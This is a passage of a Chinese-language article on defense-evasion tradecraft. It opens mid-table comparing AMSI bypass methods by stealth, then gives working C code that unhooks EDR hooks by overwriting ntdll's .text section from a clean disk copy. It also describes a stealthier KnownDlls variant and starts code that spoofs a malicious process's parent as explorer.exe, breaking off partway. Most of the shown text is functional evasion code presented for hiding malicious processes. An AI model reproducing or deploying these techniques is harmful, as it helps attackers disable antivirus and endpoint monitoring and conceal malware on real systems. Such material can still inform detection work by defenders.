5px;padding-left: 10px;min-width: 85px;border-top-style: solid;border-bottom-style: solid;border-left-style: solid;border-right-style: solid;border-top-width: 1px;border-bottom-width: 1px;border-left-width: 1px;border-right-width: 1px;border-top-color: rgba(204, 204, 204, 0.4);border-bottom-color: rgba(204, 204, 204, 0.4);border-left-color: rgba(204, 204, 204, 0.4);border-right-color: rgba(204, 204, 204, 0.4);border-top-left-radius: 0px;border-top-right-radius: 0px;border-bottom-right-radius: 0px;border-bottom-left-radius: 0px;text-align: left;"><p><span leaf="">★★☆☆☆</span></p></td><td style="padding-top: 5px;padding-right: 10px;padding-bottom: 5px;padding-left: 10px;min-width: 85px;border-top-style: solid;border-bottom-style: solid;border-left-style: solid;border-right-style: solid;border-top-width: 1px;border-bottom-width: 1px;border-left-width: 1px;border-right-width: 1px;border-top-color: rgba(204, 204, 204, 0.4);border-bottom-color: rgba(204, 204, 204, 0.4);border-left-color: rgba(204, 204, 204, 0.4);border-right-color: rgba(204, 204, 204, 0.4);border-top-left-radius: 0px;border-top-right-radius: 0px;border-bottom-right-radius: 0px;border-bottom-left-radius: 0px;text-align: left;"><p><span leaf="">仅影响PowerShell</span></p></td><td style="padding-top: 5px;padding-right: 10px;padding-bottom: 5px;padding-left: 10px;min-width: 85px;border-top-style: solid;border-bottom-style: solid;border-left-style: solid;border-right-style: solid;border-top-width: 1px;border-bottom-width: 1px;border-left-width: 1px;border-right-width: 1px;border-top-color: rgba(204, 204, 204, 0.4);border-bottom-color: rgba(204, 204, 204, 0.4);border-left-color: rgba(204, 204, 204, 0.4);border-right-color: rgba(204, 204, 204, 0.4);border-top-left-radius: 0px;border-top-right-radius: 0px;border-bottom-right-radius: 0px;border-bottom-left-radius: 0px;text-align: left;"><p><span leaf="">Win10+</span></p></td></tr><tr style="color: rgb(0, 0, 0);background-attachment: scroll;background-clip: border-box;background-color: rgb(248, 248, 248);background-image: none;background-origin: padding-box;background-position-x: left;background-position-y: top;background-repeat: no-repeat;background-size: auto;width: auto;height: auto;"><td style="padding-top: 5px;padding-right: 10px;padding-bottom: 5px;padding-left: 10px;min-width: 85px;border-top-style: solid;border-bottom-style: solid;border-left-style: solid;border-right-style: solid;border-top-width: 1px;border-bottom-width: 1px;border-left-width: 1px;border-right-width: 1px;border-top-color: rgba(204, 204, 204, 0.4);border-bottom-color: rgba(204, 204, 204, 0.4);border-left-color: rgba(204, 204, 204, 0.4);border-right-color: rgba(204, 204, 204, 0.4);border-top-left-radius: 0px;border-top-right-radius: 0px;border-bottom-right-radius: 0px;border-bottom-left-radius: 0px;text-align: left;"><p><span leaf="">Hook AmsiScanBuffer</span></p></td><td style="padding-top: 5px;padding-right: 10px;padding-bottom: 5px;padding-left: 10px;min-width: 85px;border-top-style: solid;border-bottom-style: solid;border-left-style: solid;border-right-style: solid;border-top-width: 1px;border-bottom-width: 1px;border-left-width: 1px;border-right-width: 1px;border-top-color: rgba(204, 204, 204, 0.4);border-bottom-color: rgba(204, 204, 204, 0.4);border-left-color: rgba(204, 204, 204, 0.4);border-right-color: rgba(204, 204, 204, 0.4);border-top-left-radius: 0px;border-top-right-radius: 0px;border-bottom-right-radius: 0px;border-bottom-left-radius: 0px;text-align: left;"><p><span leaf="">IAT Hook替换</span></p></td><td style="padding-top: 5px;padding-right: 10px;padding-bottom: 5px;padding-left: 10px;min-width: 85px;border-top-style: solid;border-bottom-style: solid;border-left-style: solid;border-right-style: solid;border-top-width: 1px;border-bottom-width: 1px;border-left-width: 1px;border-right-width: 1px;border-top-color: rgba(204, 204, 204, 0.4);border-bottom-color: rgba(204, 204, 204, 0.4);border-left-color: rgba(204, 204, 204, 0.4);border-right-color: rgba(204, 204, 204, 0.4);border-top-left-radius: 0px;border-top-right-radius: 0px;border-bottom-right-radius: 0px;border-bottom-left-radius: 0px;text-align: left;"><p><span leaf="">★★★☆☆</span></p></td><td style="padding-top: 5px;padding-right: 10px;padding-bottom: 5px;padding-left: 10px;min-width: 85px;border-top-style: solid;border-bottom-style: solid;border-left-style: solid;border-right-style: solid;border-top-width: 1px;border-bottom-width: 1px;border-left-width: 1px;border-right-width: 1px;border-top-color: rgba(204, 204, 204, 0.4);border-bottom-color: rgba(204, 204, 204, 0.4);border-left-color: rgba(204, 204, 204, 0.4);border-right-color: rgba(204, 204, 204, 0.4);border-top-left-radius: 0px;border-top-right-radius: 0px;border-bottom-right-radius: 0px;border-bottom-left-radius: 0px;text-align: left;"><p><span leaf="">影响全进程AMSI调用</span></p></td><td style="padding-top: 5px;padding-right: 10px;padding-bottom: 5px;padding-left: 10px;min-width: 85px;border-top-style: solid;border-bottom-style: solid;border-left-style: solid;border-right-style: solid;border-top-width: 1px;border-bottom-width: 1px;border-left-width: 1px;border-right-width: 1px;border-top-color: rgba(204, 204, 204, 0.4);border-bottom-color: rgba(204, 204, 204, 0.4);border-left-color: rgba(204, 204, 204, 0.4);border-right-color: rgba(204, 204, 204, 0.4);border-top-left-radius: 0px;border-top-right-radius: 0px;border-bottom-right-radius: 0px;border-bottom-left-radius: 0px;text-align: left;"><p><span leaf="">全版本</span></p></td></tr><tr style="color: rgb(0, 0, 0);background-attachment: scroll;background-clip: border-box;background-color: rgb(255, 255, 255);background-image: none;background-origin: padding-box;background-position-x: left;background-position-y: top;background-repeat: no-repeat;background-size: auto;width: auto;height: auto;"><td style="padding-top: 5px;padding-right: 10px;padding-bottom: 5px;padding-left: 10px;min-width: 85px;border-top-style: solid;border-bottom-style: solid;border-left-style: solid;border-right-style: solid;border-top-width: 1px;border-bottom-width: 1px;border-left-width: 1px;border-right-width: 1px;border-top-color: rgba(204, 204, 204, 0.4);border-bottom-color: rgba(204, 204, 204, 0.4);border-left-color: rgba(204, 204, 204, 0.4);border-right-color: rgba(204, 204, 204, 0.4);border-top-left-radius: 0px;border-top-right-radius: 0px;border-bottom-right-radius: 0px;border-bottom-left-radius: 0px;text-align: left;"><p><span leaf="">AmsiScanBuffer patch</span></p></td><td style="padding-top: 5px;padding-right: 10px;padding-bottom: 5px;padding-left: 10px;min-width: 85px;border-top-style: solid;border-bottom-style: solid;border-left-style: solid;border-right-style: solid;border-top-width: 1px;border-bottom-width: 1px;border-left-width: 1px;border-right-width: 1px;border-top-color: rgba(204, 204, 204, 0.4);border-bottom-color: rgba(204, 204, 204, 0.4);border-left-color: rgba(204, 204, 204, 0.4);border-right-color: rgba(204, 204, 204, 0.4);border-top-left-radius: 0px;border-top-right-radius: 0px;border-bottom-right-radius: 0px;border-bottom-left-radius: 0px;text-align: left;"><p><span leaf="">直接修改入口字节</span></p></td><td style="padding-top: 5px;padding-right: 10px;padding-bottom: 5px;padding-left: 10px;min-width: 85px;border-top-style: solid;border-bottom-style: solid;border-left-style: solid;border-right-style: solid;border-top-width: 1px;border-bottom-width: 1px;border-left-width: 1px;border-right-width: 1px;border-top-color: rgba(204, 204, 204, 0.4);border-bottom-color: rgba(204, 204, 204, 0.4);border-left-color: rgba(204, 204, 204, 0.4);border-right-color: rgba(204, 204, 204, 0.4);border-top-left-radius: 0px;border-top-right-radius: 0px;border-bottom-right-radius: 0px;border-bottom-left-radius: 0px;text-align: left;"><p><span leaf="">★★★★☆</span></p></td><td style="padding-top: 5px;padding-right: 10px;padding-bottom: 5px;padding-left: 10px;min-width: 85px;border-top-style: solid;border-bottom-style: solid;border-left-style: solid;border-right-style: solid;border-top-width: 1px;border-bottom-width: 1px;border-left-width: 1px;border-right-width: 1px;border-top-color: rgba(204, 204, 204, 0.4);border-bottom-color: rgba(204, 204, 204, 0.4);border-left-color: rgba(204, 204, 204, 0.4);border-right-color: rgba(204, 204, 204, 0.4);border-top-left-radius: 0px;border-top-right-radius: 0px;border-bottom-right-radius: 0px;border-bottom-left-radius: 0px;text-align: left;"><p><span leaf="">影响全进程</span></p></td><td style="padding-top: 5px;padding-right: 10px;padding-bottom: 5px;padding-left: 10px;min-width: 85px;border-top-style: solid;border-bottom-style: solid;border-left-style: solid;border-right-style: solid;border-top-width: 1px;border-bottom-width: 1px;border-left-width: 1px;border-right-width: 1px;border-top-color: rgba(204, 204, 204, 0.4);border-bottom-color: rgba(204, 204, 204, 0.4);border-left-color: rgba(204, 204, 204, 0.4);border-right-color: rgba(204, 204, 204, 0.4);border-top-left-radius: 0px;border-top-right-radius: 0px;border-bottom-right-radius: 0px;border-bottom-left-radius: 0px;text-align: left;"><p><span leaf="">全版本</span></p></td></tr><tr style="color: rgb(0, 0, 0);background-attachment: scroll;background-clip: border-box;background-color: rgb(248, 248, 248);background-image: none;background-origin: padding-box;background-position-x: left;background-position-y: top;background-repeat: no-repeat;background-size: auto;width: auto;height: auto;"><td style="padding-top: 5px;padding-right: 10px;padding-bottom: 5px;padding-left: 10px;min-width: 85px;border-top-style: solid;border-bottom-style: solid;border-left-style: solid;border-right-style: solid;border-top-width: 1px;border-bottom-width: 1px;border-left-width: 1px;border-right-width: 1px;border-top-color: rgba(204, 204, 204, 0.4);border-bottom-color: rgba(204, 204, 204, 0.4);border-left-color: rgba(204, 204, 204, 0.4);border-right-color: rgba(204, 204, 204, 0.4);border-top-left-radius: 0px;border-top-right-radius: 0px;border-bottom-right-radius: 0px;border-bottom-left-radius: 0px;text-align: left;"><p><span leaf="">模糊化/编码</span></p></td><td style="padding-top: 5px;padding-right: 10px;padding-bottom: 5px;padding-left: 10px;min-width: 85px;border-top-style: solid;border-bottom-style: solid;border-left-style: solid;border-right-style: solid;border-top-width: 1px;border-bottom-width: 1px;border-left-width: 1px;border-right-width: 1px;border-top-color: rgba(204, 204, 204, 0.4);border-bottom-color: rgba(204, 204, 204, 0.4);border-left-color: rgba(204, 204, 204, 0.4);border-right-color: rgba(204, 204, 204, 0.4);border-top-left-radius: 0px;border-top-right-radius: 0px;border-bottom-right-radius: 0px;border-bottom-left-radius: 0px;text-align: left;"><p><span leaf="">不修改AMSI，规避特征</span></p></td><td style="padding-top: 5px;padding-right: 10px;padding-bottom: 5px;padding-left: 10px;min-width: 85px;border-top-style: solid;border-bottom-style: solid;border-left-style: solid;border-right-style: solid;border-top-width: 1px;border-bottom-width: 1px;border-left-width: 1px;border-right-width: 1px;border-top-color: rgba(204, 204, 204, 0.4);border-bottom-color: rgba(204, 204, 204, 0.4);border-left-color: rgba(204, 204, 204, 0.4);border-right-color: rgba(204, 204, 204, 0.4);border-top-left-radius: 0px;border-top-right-radius: 0px;border-bottom-right-radius: 0px;border-bottom-left-radius: 0px;text-align: left;"><p><span leaf="">★★★★★</span></p></td><td style="padding-top: 5px;padding-right: 10px;padding-bottom: 5px;padding-left: 10px;min-width: 85px;border-top-style: solid;border-bottom-style: solid;border-left-style: solid;border-right-style: solid;border-top-width: 1px;border-bottom-width: 1px;border-left-width: 1px;border-right-width: 1px;border-top-color: rgba(204, 204, 204, 0.4);border-bottom-color: rgba(204, 204, 204, 0.4);border-left-color: rgba(204, 204, 204, 0.4);border-right-color: rgba(204, 204, 204, 0.4);border-top-left-radius: 0px;border-top-right-radius: 0px;border-bottom-right-radius: 0px;border-bottom-left-radius: 0px;text-align: left;"><p><span leaf="">无</span></p></td><td style="padding-top: 5px;padding-right: 10px;padding-bottom: 5px;padding-left: 10px;min-width: 85px;border-top-style: solid;border-bottom-style: solid;border-left-style: solid;border-right-style: solid;border-top-width: 1px;border-bottom-width: 1px;border-left-width: 1px;border-right-width: 1px;border-top-color: rgba(204, 204, 204, 0.4);border-bottom-color: rgba(204, 204, 204, 0.4);border-left-color: rgba(204, 204, 204, 0.4);border-right-color: rgba(204, 204, 204, 0.4);border-top-left-radius: 0px;border-top-right-radius: 0px;border-bottom-right-radius: 0px;border-bottom-left-radius: 0px;text-align: left;"><p><span leaf="">全版本</span></p></td></tr><tr style="color: rgb(0, 0, 0);background-attachment: scroll;background-clip: border-box;background-color: rgb(255, 255, 255);background-image: none;background-origin: padding-box;background-position-x: left;background-position-y: top;background-repeat: no-repeat;background-size: auto;width: auto;height: auto;"><td style="padding-top: 5px;padding-right: 10px;padding-bottom: 5px;padding-left: 10px;min-width: 85px;border-top-style: solid;border-bottom-style: solid;border-left-style: solid;border-right-style: solid;border-top-width: 1px;border-bottom-width: 1px;border-left-width: 1px;border-right-width: 1px;border-top-color: rgba(204, 204, 204, 0.4);border-bottom-color: rgba(204, 204, 204, 0.4);border-left-color: rgba(204, 204, 204, 0.4);border-right-color: rgba(204, 204, 204, 0.4);border-top-left-radius: 0px;border-top-right-radius: 0px;border-bottom-right-radius: 0px;border-bottom-left-radius: 0px;text-align: left;"><p><span leaf="">CLR Hook</span></p></td><td style="padding-top: 5px;padding-right: 10px;padding-bottom: 5px;padding-left: 10px;min-width: 85px;border-top-style: solid;border-bottom-style: solid;border-left-style: solid;border-right-style: solid;border-top-width: 1px;border-bottom-width: 1px;border-left-width: 1px;border-right-width: 1px;border-top-color: rgba(204, 204, 204, 0.4);border-bottom-color: rgba(204, 204, 204, 0.4);border-left-color: rgba(204, 204, 204, 0.4);border-right-color: rgba(204, 204, 204, 0.4);border-top-left-radius: 0px;border-top-right-radius: 0px;border-bottom-right-radius: 0px;border-bottom-left-radius: 0px;text-align: left;"><p><span leaf="">修改CLR内部调用</span></p></td><td style="padding-top: 5px;padding-right: 10px;padding-bottom: 5px;padding-left: 10px;min-width: 85px;border-top-style: solid;border-bottom-style: solid;border-left-style: solid;border-right-style: solid;border-top-width: 1px;border-bottom-width: 1px;border-left-width: 1px;border-right-width: 1px;border-top-color: rgba(204, 204, 204, 0.4);border-bottom-color: rgba(204, 204, 204, 0.4);border-left-color: rgba(204, 204, 204, 0.4);border-right-color: rgba(204, 204, 204, 0.4);border-top-left-radius: 0px;border-top-right-radius: 0px;border-bottom-right-radius: 0px;border-bottom-left-radius: 0px;text-align: left;"><p><span leaf="">★★★★☆</span></p></td><td style="padding-top: 5px;padding-right: 10px;padding-bottom: 5px;padding-left: 10px;min-width: 85px;border-top-style: solid;border-bottom-style: solid;border-left-style: solid;border-right-style: solid;border-top-width: 1px;border-bottom-width: 1px;border-left-width: 1px;border-right-width: 1px;border-top-color: rgba(204, 204, 204, 0.4);border-bottom-color: rgba(204, 204, 204, 0.4);border-left-color: rgba(204, 204, 204, 0.4);border-right-color: rgba(204, 204, 204, 0.4);border-top-left-radius: 0px;border-top-right-radius: 0px;border-bottom-right-radius: 0px;border-bottom-left-radius: 0px;text-align: left;"><p><span leaf="">仅影响.NET</span></p></td><td style="padding-top: 5px;padding-right: 10px;padding-bottom: 5px;padding-left: 10px;min-width: 85px;border-top-style: solid;border-bottom-style: solid;border-left-style: solid;border-right-style: solid;border-top-width: 1px;border-bottom-width: 1px;border-left-width: 1px;border-right-width: 1px;border-top-color: rgba(204, 204, 204, 0.4);border-bottom-color: rgba(204, 204, 204, 0.4);border-left-color: rgba(204, 204, 204, 0.4);border-right-color: rgba(204, 204, 204, 0.4);border-top-left-radius: 0px;border-top-right-radius: 0px;border-bottom-right-radius: 0px;border-bottom-left-radius: 0px;text-align: left;"><p><span leaf="">.NET 4.x</span></p></td></tr></tbody></table></p><h3 data-tool="mdnice编辑器" style="margin-top: 30px;margin-bottom: 15px;margin-left: 0px;margin-right: 0px;padding-top: 0px;padding-bottom: 0px;padding-left: 0px;padding-right: 0px;display: block;"><span style="font-size: 20px;color: rgb(0, 0, 0);line-height: 1.5em;letter-spacing: 0em;text-align: left;font-weight: bold;display: block;"><span leaf="">2.5 Unhooking（解除 API Hook）</span></span></h3><h4 data-tool="mdnice编辑器" style="margin-top: 30px;margin-bottom: 15px;margin-left: 0px;margin-right: 0px;padding-top: 0px;padding-bottom: 0px;padding-left: 0px;padding-right: 0px;display: block;"><span style="font-size: 18px;color: rgb(0, 0, 0);line-height: 1.5em;letter-spacing: 0em;text-align: left;font-weight: bold;display: block;"><span leaf="">2.5.1 从磁盘重新映射 ntdll.dll</span></span></h4><pre data-tool="mdnice编辑器" style="border-radius: 5px;box-shadow: rgba(0, 0, 0, 0.55) 0px 2px 10px;text-align: left;margin-top: 10px;margin-bottom: 10px;margin-left: 0px;margin-right: 0px;padding-top: 0px;padding-bottom: 0px;padding-left: 0px;padding-right: 0px;"><code style="overflow-x: auto;padding: 16px;color: #abb2bf;padding-top: 15px;background: #282c34;border-radius: 5px;display: -webkit-box;font-family: Consolas, Monaco, Menlo, monospace;font-size: 12px;"><span style="color: #5c6370;font-style: italic;line-height: 26px;"><span leaf="">// 最常用的unhooking方法: 用磁盘上干净的ntdll覆盖内存中被Hook的ntdll</span></span><span leaf=""><br/></span><span style="line-height: 26px;"><span leaf="">BOOL </span><span style="color: #61aeee;line-height: 26px;"><span leaf="">UnhookNtdll</span></span><span style="line-height: 26px;"><span leaf="">()</span></span></span><span leaf="">{</span><span leaf=""><br/></span><span style="color: #5c6370;font-style: italic;line-height: 26px;"><span leaf="">// 1. 从磁盘读取干净的ntdll.dll</span></span><span leaf=""><br/></span><span leaf="">    HANDLE hFile = CreateFileA(</span><span leaf=""><br/></span><span style="color: #98c379;line-height: 26px;"><span leaf="">&#34;\\??\\C:\\Windows\\System32\\ntdll.dll&#34;</span></span><span leaf="">,</span><span leaf=""><br/></span><span leaf="">        GENERIC_READ, FILE_SHARE_READ, </span><span style="color: #56b6c2;line-height: 26px;"><span leaf="">NULL</span></span><span leaf="">,</span><span leaf=""><br/></span><span leaf="">        OPEN_EXISTING, </span><span style="color: #d19a66;line-height: 26px;"><span leaf="">0</span></span><span leaf="">, </span><span style="color: #56b6c2;line-height: 26px;"><span leaf="">NULL</span></span><span leaf=""><br/></span><span leaf="">    );</span><span leaf=""><br/></span><span leaf="">    HANDLE hMapping = CreateFileMappingA(hFile, </span><span style="color: #56b6c2;line-height: 26px;"><span leaf="">NULL</span></span><span leaf="">, PAGE_READONLY | SEC_IMAGE, </span><span style="color: #d19a66;line-height: 26px;"><span leaf="">0</span></span><span leaf="">, </span><span style="color: #d19a66;line-height: 26px;"><span leaf="">0</span></span><span leaf="">, </span><span style="color: #56b6c2;line-height: 26px;"><span leaf="">NULL</span></span><span leaf="">);</span><span leaf=""><br/></span><span leaf="">    PVOID pCleanNtdll = MapViewOfFile(hMapping, FILE_MAP_READ, </span><span style="color: #d19a66;line-height: 26px;"><span leaf="">0</span></span><span leaf="">, </span><span style="color: #d19a66;line-height: 26px;"><span leaf="">0</span></span><span leaf="">, </span><span style="color: #d19a66;line-height: 26px;"><span leaf="">0</span></span><span leaf="">);</span><span leaf=""><br/></span><span style="color: #5c6370;font-style: italic;line-height: 26px;"><span leaf="">// 2. 获取内存中当前ntdll的基地址</span></span><span leaf=""><br/></span><span leaf="">    PVOID pHookedNtdll = GetModuleHandleA(</span><span style="color: #98c379;line-height: 26px;"><span leaf="">&#34;ntdll.dll&#34;</span></span><span leaf="">);</span><span leaf=""><br/></span><span style="color: #5c6370;font-style: italic;line-height: 26px;"><span leaf="">// 3. 解析PE头, 找到.text段</span></span><span leaf=""><br/></span><span leaf="">    PIMAGE_NT_HEADERS pNtHeaders = (PIMAGE_NT_HEADERS)(</span><span leaf=""><br/></span><span leaf="">        (BYTE*)pCleanNtdll + ((PIMAGE_DOS_HEADER)pCleanNtdll)-&gt;e_lfanew</span><span leaf=""><br/></span><span leaf="">    );</span><span leaf=""><br/></span><span leaf="">    PIMAGE_SECTION_HEADER pSection = IMAGE_FIRST_SECTION(pNtHeaders);</span><span leaf=""><br/></span><span style="color: #c678dd;line-height: 26px;"><span leaf="">for</span></span><span leaf=""> (</span><span style="color: #c678dd;line-height: 26px;"><span leaf="">int</span></span><span leaf=""> i = </span><span style="color: #d19a66;line-height: 26px;"><span leaf="">0</span></span><span leaf="">; i &lt; pNtHeaders-&gt;FileHeader.NumberOfSections; i++) {</span><span leaf=""><br/></span><span style="color: #c678dd;line-height: 26px;"><span leaf="">if</span></span><span leaf=""> (</span><span style="color: #e6c07b;line-height: 26px;"><span leaf="">strcmp</span></span><span leaf="">((</span><span style="color: #c678dd;line-height: 26px;"><span leaf="">char</span></span><span leaf="">*)pSection[i].Name, </span><span style="color: #98c379;line-height: 26px;"><span leaf="">&#34;.text&#34;</span></span><span leaf="">) == </span><span style="color: #d19a66;line-height: 26px;"><span leaf="">0</span></span><span leaf="">) {</span><span leaf=""><br/></span><span style="color: #5c6370;font-style: italic;line-height: 26px;"><span leaf="">// 4. 将干净的.text段覆盖到内存中</span></span><span leaf=""><br/></span><span leaf="">            DWORD oldProtect;</span><span leaf=""><br/></span><span leaf="">            PVOID pTarget = (BYTE*)pHookedNtdll + pSection[i].VirtualAddress;</span><span leaf=""><br/></span><span leaf="">            PVOID pSource = (BYTE*)pCleanNtdll + pSection[i].VirtualAddress;</span><span leaf=""><br/></span><span leaf="">            SIZE_T size = pSection[i].Misc.VirtualSize;</span><span leaf=""><br/></span><span leaf="">            VirtualProtect(pTarget, size, PAGE_EXECUTE_READWRITE, &amp;oldProtect);</span><span leaf=""><br/></span><span style="color: #e6c07b;line-height: 26px;"><span leaf="">memcpy</span></span><span leaf="">(pTarget, pSource, size);</span><span leaf=""><br/></span><span leaf="">            VirtualProtect(pTarget, size, oldProtect, &amp;oldProtect);</span><span leaf=""><br/></span><span style="color: #c678dd;line-height: 26px;"><span leaf="">break</span></span><span leaf="">;</span><span leaf=""><br/></span><span leaf="">        }</span><span leaf=""><br/></span><span leaf="">    }</span><span leaf=""><br/></span><span leaf="">    UnmapViewOfFile(pCleanNtdll);</span><span leaf=""><br/></span><span leaf="">    CloseHandle(hMapping);</span><span leaf=""><br/></span><span leaf="">    CloseHandle(hFile);</span><span leaf=""><br/></span><span style="color: #c678dd;line-height: 26px;"><span leaf="">return</span></span><span leaf=""> TRUE;</span><span leaf=""><br/></span><span leaf="">}</span></code></pre><h4 data-tool="mdnice编辑器" style="margin-top: 30px;margin-bottom: 15px;margin-left: 0px;margin-right: 0px;padding-top: 0px;padding-bottom: 0px;padding-left: 0px;padding-right: 0px;display: block;"><span style="font-size: 18px;color: rgb(0, 0, 0);line-height: 1.5em;letter-spacing: 0em;text-align: left;font-weight: bold;display: block;"><span leaf="">2.5.2 从 KnownDlls 获取干净 ntdll</span></span></h4><p data-tool="mdnice编辑器" style="color: rgb(0, 0, 0);font-size: 16px;line-height: 1.8em;letter-spacing: 0em;text-align: left;text-indent: 0em;margin-top: 0px;margin-bottom: 0px;margin-left: 0px;margin-right: 0px;padding-top: 8px;padding-bottom: 8px;padding-left: 0px;padding-right: 0px;"><span leaf="">通过 </span><code style="color: rgb(30, 107, 184);font-size: 14px;line-height: 1.8em;letter-spacing: 0em;background-attachment: scroll;background-clip: border-box;background-color: rgba(27, 31, 35, 0.05);background-image: none;background-origin: padding-box;background-position-x: left;background-position-y: top;background-repeat: no-repeat;background-size: auto;width: auto;height: auto;margin-top: 0px;margin-bottom: 0px;margin-left: 2px;margin-right: 2px;padding-top: 2px;padding-bottom: 2px;padding-left: 4px;padding-right: 4px;border-top-style: none;border-bottom-style: none;border-left-style: none;border-right-style: none;border-top-width: 3px;border-bottom-width: 3px;border-left-width: 3px;border-right-width: 3px;border-top-color: rgb(0, 0, 0);border-bottom-color: rgba(0, 0, 0, 0.4);border-left-color: rgba(0, 0, 0, 0.4);border-right-color: rgba(0, 0, 0, 0.4);border-top-left-radius: 4px;border-top-right-radius: 4px;border-bottom-right-radius: 4px;border-bottom-left-radius: 4px;overflow-wrap: break-word;font-family: Consolas, Monaco, Menlo, monospace;word-break: break-all;"><span leaf="">\KnownDlls\ntdll</span></code><span leaf=""> 段对象获取干净的 ntdll 副本，优点是不需要磁盘 IO，更隐蔽。使用 </span><code style="color: rgb(30, 107, 184);font-size: 14px;line-height: 1.8em;letter-spacing: 0em;background-attachment: scroll;background-clip: border-box;background-color: rgba(27, 31, 35, 0.05);background-image: none;background-origin: padding-box;background-position-x: left;background-position-y: top;background-repeat: no-repeat;background-size: auto;width: auto;height: auto;margin-top: 0px;margin-bottom: 0px;margin-left: 2px;margin-right: 2px;padding-top: 2px;padding-bottom: 2px;padding-left: 4px;padding-right: 4px;border-top-style: none;border-bottom-style: none;border-left-style: none;border-right-style: none;border-top-width: 3px;border-bottom-width: 3px;border-left-width: 3px;border-right-width: 3px;border-top-color: rgb(0, 0, 0);border-bottom-color: rgba(0, 0, 0, 0.4);border-left-color: rgba(0, 0, 0, 0.4);border-right-color: rgba(0, 0, 0, 0.4);border-top-left-radius: 4px;border-top-right-radius: 4px;border-bottom-right-radius: 4px;border-bottom-left-radius: 4px;overflow-wrap: break-word;font-family: Consolas, Monaco, Menlo, monospace;word-break: break-all;"><span leaf="">NtOpenSection</span></code><span leaf=""> + </span><code style="color: rgb(30, 107, 184);font-size: 14px;line-height: 1.8em;letter-spacing: 0em;background-attachment: scroll;background-clip: border-box;background-color: rgba(27, 31, 35, 0.05);background-image: none;background-origin: padding-box;background-position-x: left;background-position-y: top;background-repeat: no-repeat;background-size: auto;width: auto;height: auto;margin-top: 0px;margin-bottom: 0px;margin-left: 2px;margin-right: 2px;padding-top: 2px;padding-bottom: 2px;padding-left: 4px;padding-right: 4px;border-top-style: none;border-bottom-style: none;border-left-style: none;border-right-style: none;border-top-width: 3px;border-bottom-width: 3px;border-left-width: 3px;border-right-width: 3px;border-top-color: rgb(0, 0, 0);border-bottom-color: rgba(0, 0, 0, 0.4);border-left-color: rgba(0, 0, 0, 0.4);border-right-color: rgba(0, 0, 0, 0.4);border-top-left-radius: 4px;border-top-right-radius: 4px;border-bottom-right-radius: 4px;border-bottom-left-radius: 4px;overflow-wrap: break-word;font-family: Consolas, Monaco, Menlo, monospace;word-break: break-all;"><span leaf="">NtMapViewOfSection</span></code><span leaf=""> 映射后，同样覆盖 </span><code style="color: rgb(30, 107, 184);font-size: 14px;line-height: 1.8em;letter-spacing: 0em;background-attachment: scroll;background-clip: border-box;background-color: rgba(27, 31, 35, 0.05);background-image: none;background-origin: padding-box;background-position-x: left;background-position-y: top;background-repeat: no-repeat;background-size: auto;width: auto;height: auto;margin-top: 0px;margin-bottom: 0px;margin-left: 2px;margin-right: 2px;padding-top: 2px;padding-bottom: 2px;padding-left: 4px;padding-right: 4px;border-top-style: none;border-bottom-style: none;border-left-style: none;border-right-style: none;border-top-width: 3px;border-bottom-width: 3px;border-left-width: 3px;border-right-width: 3px;border-top-color: rgb(0, 0, 0);border-bottom-color: rgba(0, 0, 0, 0.4);border-left-color: rgba(0, 0, 0, 0.4);border-right-color: rgba(0, 0, 0, 0.4);border-top-left-radius: 4px;border-top-right-radius: 4px;border-bottom-right-radius: 4px;border-bottom-left-radius: 4px;overflow-wrap: break-word;font-family: Consolas, Monaco, Menlo, monospace;word-break: break-all;"><span leaf="">.text</span></code><span leaf=""> 段即可恢复原始字节。</span></p><h3 data-tool="mdnice编辑器" style="margin-top: 30px;margin-bottom: 15px;margin-left: 0px;margin-right: 0px;padding-top: 0px;padding-bottom: 0px;padding-left: 0px;padding-right: 0px;display: block;"><span style="font-size: 20px;color: rgb(0, 0, 0);line-height: 1.5em;letter-spacing: 0em;text-align: left;font-weight: bold;display: block;"><span leaf="">2.6 父进程 ID 欺骗（PPID Spoofing）</span></span></h3><p data-tool="mdnice编辑器" style="color: rgb(0, 0, 0);font-size: 16px;line-height: 1.8em;letter-spacing: 0em;text-align: left;text-indent: 0em;margin-top: 0px;margin-bottom: 0px;margin-left: 0px;margin-right: 0px;padding-top: 8px;padding-bottom: 8px;padding-left: 0px;padding-right: 0px;"><span leaf="">让恶意进程看起来是由合法进程（如 explorer.exe）启动的，伪装进程树：</span></p><pre data-tool="mdnice编辑器" style="border-radius: 5px;box-shadow: rgba(0, 0, 0, 0.55) 0px 2px 10px;text-align: left;margin-top: 10px;margin-bottom: 10px;margin-left: 0px;margin-right: 0px;padding-top: 0px;padding-bottom: 0px;padding-left: 0px;padding-right: 0px;"><code style="overflow-x: auto;padding: 16px;color: #abb2bf;padding-top: 15px;background: #282c34;border-radius: 5px;display: -webkit-box;font-family: Consolas, Monaco, Menlo, monospace;font-size: 12px;"><span style="color: #5c6370;font-style: italic;line-height: 26px;"><span leaf="">// 使用PROC_THREAD_ATTRIBUTE_PARENT_PROCESS属性伪造父进程</span></span><span leaf=""><br/></span><span leaf="">HANDLE hParent = OpenProcess(PROCESS_ALL_ACCESS, FALSE, explorerPid);</span><span leaf=""><br/></span><span leaf="">SIZE_T attrSize = </span><span style="color: #d19a66;line-height: 26px;"><span leaf="">0</span></span><span leaf="">;</span><span leaf=""><br/></span><span leaf="">InitializeProcThreadAttributeList(</span><span style="color: #56b6c2;line-height: 26px;"><span leaf="">NULL</span></span><span leaf="">, </span><span style="color: #d19a66;line-height: 26px;"><span leaf="">1</span></span><span leaf="">, </span><span style="color: #d19a66;line-height: 26px;"><span leaf="">0</span></span><span leaf="">, &amp;attrSize);</span><span leaf=""><br/></span><span leaf="">LPPROC_THREAD_ATTRIBUTE_LIST pAttrList = HeapAlloc(GetProcessHeap(), </span><span style="color: #d19a66;line-height: 26px;"><span leaf="">0</span></span><span leaf="">, attrSize);</span><span leaf=""><br/></span><span leaf="">InitializeProcThreadAttributeList(pAttrList, </span><span style="color: #d19a66;line-height: 26px;"><span leaf="">1</span></span><span leaf="">, </span><span style="color: #d19a66;line-height: 26px;"><span leaf="">0</span></span><span leaf="">, &amp;attrSize);</span><span leaf=""><br/></span><span leaf="">UpdateProcThreadAttribute(pAttrList, </span><span style="color: #d19a66;line-height: 26px;"><span leaf="">0</span></span><span leaf="">, PROC_THREAD_ATTRIBUTE_PARENT_PROCESS,</span><span leaf=""><br/></span><span leaf="">                         &amp;hParent, </span><span style="color: #c678dd;line-height: 26px;"><span leaf="">sizeof</span></span><span leaf="">(hParent), </span><span style="color: #56b6c2;line-height: 26px;"><span leaf="">NULL</span></span><span leaf="">, </span><span style="color: #56b6c2;line-height: 26px;"><span leaf="">NULL</span></span><span 